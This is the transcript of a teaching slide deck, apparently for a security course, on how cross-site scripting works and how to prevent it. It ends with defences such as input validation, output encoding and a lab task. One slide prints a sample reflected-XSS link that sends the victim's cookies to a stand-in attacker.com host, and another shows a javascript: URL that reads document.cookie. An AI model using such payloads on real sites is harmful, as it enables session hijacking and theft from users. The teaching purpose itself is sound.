Prevent Cross-Site Scripting (XSS) attack

Slides:



Advertisements
Similar presentations
17 HTML, Scripting, and Interactivity Section 17.1 Add an audio file using HTML Create a form using HTML Add text boxes using HTML Add radio buttons and.
Advertisements

Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Nick Feamster CS 6262 Spring 2009
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Essentials for Design JavaScript Level One Michael Brooks
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
JavaScript FaaDoOEngineers.com FaaDoOEngineers.com.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Cross Site Scripting & SQL injection
17 th ACM CCS (October, 2010).  Introduction  Threat Model  Cross-Origin CSS Attacks  Example Attacks  Defenses  Experiment  Related Work 2 A Presentation.
The Web Warrior Guide to Web Design Technologies
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Web Page Behavior IS 373—Web Standards Todd Will.
CM143 - Web Week 2 Basic HTML. Links and Image Tags.
© 2003 School of Computing, University of Leeds SY32 Secure Computing, Lecture 14 Implementation Flaws Part 2: Malicious Input and Data Validation Issues.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
CGI Programming: Part 1. What is CGI? CGI = Common Gateway Interface Provides a standardized way for web browsers to: –Call programs on a server. –Pass.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Injection Attacks by Example SQL Injection and XSS Adam Forsythe Thomas Hollingsworth.
1 CS428 Web Engineering Lecture 18 Introduction (PHP - I)
Varun Sharma Security Engineer | ACE Team | Microsoft Information Security
Security and JavaScript. Learning Objectives By the end of this lecture, you should be able to: – Describe what is meant by JavaScript’s same-origin security.
Javascript and the Web Whys and Hows of Javascript.
FALL 2005CSI 4118 – UNIVERSITY OF OTTAWA1 Part 4 Web technologies: HTTP, CGI, PHP,Java applets)
CS346 - Javascript 1, 21 Module 1 Introduction to JavaScript CS346.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Session and cookie management in.Net Justin Brunelle CS795 6/18/2009.
HOW WEB SERVER WORKS? By- PUSHPENDU MONDAL RAJAT CHAUHAN RAHUL YADAV RANJIT MEENA RAHUL TYAGI.
Cross Site Scripting (XSS) Chaitanya Lakshmi
Section 17.1 Add an audio file using HTML Create a form using HTML Add text boxes using HTML Add radio buttons and check boxes using HTML Add a pull-down.
1 Internet Browsing Vulnerabilities and Security ECE4112 Final Lab Ye Yan Frank Park Scott Kim Neil Joshi.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Web Spoofing Steve Newell Mike Falcon Computer Security CIS 4360.
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
Active Server Pages  In this chapter, you will learn:  How browsers and servers interacted on the Internet when the Internet first became popular 
Introduction.  The scripting language most often used for client-side web development.  Influenced by many programming languages, easier for nonprogrammers.
JavaScript - A Web Script Language Fred Durao
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Security Attacks CS 795. Buffer Overflow Problem Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflow Analysis of Buffer Overflow Attacks.
Scripting Languages Client Side and Server Side. Examples of client side/server side Examples of client-side side include: JavaScript Jquery (uses a JavaScript.
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
Introduction of XSS:-- Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Software Security. Bugs Most software has bugs Some bugs cause security vulnerabilities Incorrect processing of security related data Incorrect processing.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Carrie Estes Collin Donaldson.  Zero day attacks  “zero day”  Web application attacks  Signing up for a class  Hardening the web server  Enhancing.
The OWASP Foundation OWASP XSS Remediation Cassia Martin Romain Gaucher April 7 th, 2011.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Teaching slides Chapter 6. Chapter 6 Software user interface design & construction Contents Introduction Graphical user interface – Rich window based.
Google’s Gruyere1 : An XSS Example Presented by: Terry Gregory
Group 18: Chris Hood Brett Poche
CSCE 548 Student Presentation Ryan Labrador
Unit 20 - Client Side Customisation of Web Pages
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
World Wide Web policy.
Static Detection of Cross-Site Scripting Vulnerabilities
Section 17.1 Section 17.2 Add an audio file using HTML
Database Driven Websites
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Security and JavaScript
Presentation transcript:

Prevent Cross-Site Scripting (XSS) attack SEC835 Prevent Cross-Site Scripting (XSS) attack

Cross-Site Scripting Instead of attacking the application’s server platform, Cross-Site Scripting (XSS) attacks are aimed at the users’ client browsers. A Cross Site Scripting vulnerability allows the introduction of malicious content (scripts) on a web site, that is then served to users (clients) Malicious scripts get executed on clients that trust the web site Problem with potentially all client-side scripting languages We use “XSS” to refer to these vulnerabilities, so as to avoid confusion with “CSS” (cascading style sheets)

Cross-Site Scripting (XSS) Attacks A classical XSS attack works this way: The attacker identifies a web site that has one or more XSS bugs (for example echoing data input, or lacking data input validation) The attacker crafts a special URL that includes a malformed and malicious querystring containing HTML and script The attacker finds a victim and gets him to click the link The victim clicks the link and the victim’s browser makes a GET request to the vulnerable server, passing the malicious querystring. And cookies. The vulnerable server echoes malicious input, including the script, back to the victim’s browser The victim’s browser executes the malicious script, which may be crafted to pass data from the victim to the attacker, or other actions

Cross-Site Scripting Effects This might reveal session identifiers and other sensitive data stored in form values. Cookies may be changed The attacker can replay cookies to reach the domain content previously available to the victim only Remote-control of the browser by an attacker is also possible through advanced scripts Legitimate sites spoofed

Cross-Site Scripting Attack in Action The attacker sends a victim a link containing a malicious payload. The victim, tricked into clicking the link, sends a request (and the payload) to the vulnerable application interface. The interface (i.e. a user registration form) accepts the request (and payload), and responds with a confirmation screen. Embedded in the confirmation screen is the malicious code, which has been formatted in such a way that a browser will interpret it as if it were any other JavaScript code. When the victim receives the response, the browser executes the payload, which could send cookie values (including session identifiers) and other sensitive data to the attacker.

Cross-Site Scripting Attack sample A sample attack link (to view cookie values) might look like this: https://vulnserver.com/vulninterface.cgi?FirstName=Bob&EmailAddress=x”><script>document.location%3d‘http://attacker.com/c=‘+document.cookie;</script><“ When the server sends back its response, the HTML code will be formatted as follows: … <form action=“…”> Thank you for registering! <input name=“FirstName” value=“Bob”> <input name=“EmailAddress” value=“x”><script>document.location=‘http://attacker.com/c=‘+document.cookie;</script><“”> </form> The result is that the <script> block is executed and an entry will be made in the attacker’s web server log which includes the content of a victim’s cookie.

Common XSS Attack Vectors Search engines that echo the search keyword that was entered Error messages that echo the string that contained the error Forms that are filled out where values are later presented to the user Web message boards that allow users to post their own messages

Is there a need of ‘click”? No, there is not Script execution may be initiated by many other means, for example by a mouseover event, or onload, or other

XSS Vulnerability – Type 2 XSS Type 2 has been implemented via Stored data Local html files stored on a user’s computer HTML help files HTML resources

XSS Vulnerability – Type 2 XSS Type 2 has been implemented via stored data The attacker enters comments or text that contains an embedded script, in a forum, newsgroup, feedback section of a web site, etc... The malicious code is stored by the vulnerable site, and presented to visitors. Each instance can be thought of as a "mine". The victim reads the comments. The attacker’s code is executed on the victim’s computer.

JavaScript urls JavaScript urls have the format "javascript:code" An example JavaScript url is javascript:alert("Hello World") Type it in your browser's address bar, watch the alert window popup Works also in HTML links "javascript:alert(document.cookie)" JavaScript urls could be injected into the history list and then executed in the local machine zone or some other zone

Indirect Ways to Inject Code ActionScript (Flash) can load a JavaScript script from a url Flash objects can be specified with the <embed> tag ActionScript allows the getURL("url") function call The url can be a JavaScript url! Forums that allow Flash content are vulnerable People viewing the Flash content get a trojan JavaScript See http://www.cgisecurity.com/lib/flash-xss.htm

XSS attacks against local HTML files Local html files stored on the computer may have a predictable location, e.g. My web Can provide output of user’s input as well Thus can be used by an attacker to craft XSS HTML Help files are potentially vulnerable to XSS

XSS Attacks against HTML Resources Browsers provide the ability to extract and display resources, such as text messages, images, html files, from DLL, or EXE files If the resource takes input from the URL and displays that, you might have an XSS issue This means you should validate resource HTML data. Untrusted HTML input must run through an HTML policy engine to ensure that it does not contain XSS

Prevent Cross-Site Scripting The strategy for preventing XSS: Filtering user-supplied input for meta-characters that may be interpreted by the client application Encoding output by converting meta-characters into neutral aliases (i.e. HTML code) Prevent social engineering Educate users Explain what ways of communication are valid Include messages to the website to advise about known frauds

Remedies Strong data input validation Be hard-core about what constitutes valid input As specific as possible Provided closer to the data usage Based on the white-list approach Validated on the server side

White- vs. Black-List (Diagram)

Remedies Implemented by web developers Encoding output Forcing the codepage Adding double quotes around all tag properties Inserting data in the innerText property Browser hardening

Remedies details Encoding output Forcing the codepage Convert dangerous symbols, including html tags, to their html representation E.g. < becomes &lt For ASP use HTMLEncode method Forcing the codepage Set a codepage explicitly by specifying the allowable charset

Remedies details Adding double quotes around the tag properties prevent interpretation of the part of the tag, where malicious scripts can be placed innerText makes a similar effect Browser hardening and security patching

Lab task Work on the spreadsheet re Vulnerability Cell O3 – put your comments The venues leading to XSS Work on the spreadsheet re Countermeasures Cells A11 – put your comments How to prevent XSS http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet http://en.wikipedia.org/wiki/Cross-site_scripting